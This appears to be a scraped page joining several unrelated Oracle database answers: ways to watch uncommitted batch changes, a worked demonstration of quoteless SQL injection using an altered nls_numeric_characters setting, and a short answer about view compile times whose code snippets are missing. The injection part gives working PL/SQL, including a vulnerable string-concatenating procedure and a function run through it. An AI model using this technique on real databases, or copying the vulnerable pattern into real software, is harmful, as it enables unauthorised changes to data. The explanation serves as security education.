There are a few different approaches depending on the details of your batch process and why you're trying to view the uncommitted changes.
1) Oracle Workspace Manager is a tool that was originally designed to allow people developing Spatial applications to have the equivalent of extremely long-running transactions (i.e. transactions that may require multiple days or weeks of humans figuring out where to run a pipeline in one transaction). Your batch process could create a new workspace (which is logically like creating a new transaction), make whatever changes it would like in that workspace while committing whenever it wanted. In a separate session, you wouldn't see any of the committed changes until you entered the batch process's workspace. When the batch process finished, it could merge it's workspace back into the live workspace which is the equivalent of committing a transaction.
2) The DBMS_XA package can be used to allow you to "hand off" a transaction from one session to another and to allow one session to connect to a transaction started by another session. This is a pretty obscure package to be using, but there was a nice example of using it in the PL/SQL Challenge (you may need a free account to access it) recently.
3) If you're just trying to see the status of the batch process rather than seeing the actual data, the batch process can write logging information using autonomous transactions that you could then query from another session. Or you could use the DBMS_APPLICATION_INFO package to have your application update various attributes in V$SESSION and/or V$SESSION_LONGOPS so that you could monitor the status of the load from another session.
Yes, it is possible to perform an SQL injection attack without supplying quotes in the parameter.
The way to do this is with an exploit to do with how numbers and/or dates are processed. You can specify at the session level what the format of a date or number is. By manipulating this you can then inject with any character.
By default in the UK and US, a comma is used to indicate the thousands separator in numbers, and a full stop for the decimal point. You can change these defaults by executing:
alter session set nls_numeric_characters = 'PZ';
This means that "P" is now the decimal point and "Z" is the thousands separator. So:
0P01
Is the number 0.01. However, if you create a function P01, the object reference will be picked up before number conversion. This allows you to execute functions on the database giving you increasing powers, as follows:
Create a basic "get by id" function:
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
Also create a function P01 which does something undesirable (in this case just creating a table, but you get the idea):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
And we're good to go:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
No quotes anywhere, but we've still managed to execute the "hidden" function P01 and create the table t
!
While this may be difficult to do in practice (and may require some internal knowledge/help), this does show that you can inject SQL without having to have quotes. Altering the nls_date_format
can allow similar things to be done.
The original findings for numbers were by David Litchfield and you can read his paper here. You can find Tom Kyte's discussion of how dates can be exploited here.
Best Answer
I think that you can determine the time a view was last compiled querying the data dictionary view
dba_objects
:You can also see the text the view is based on in the
dba_views
dictionary view: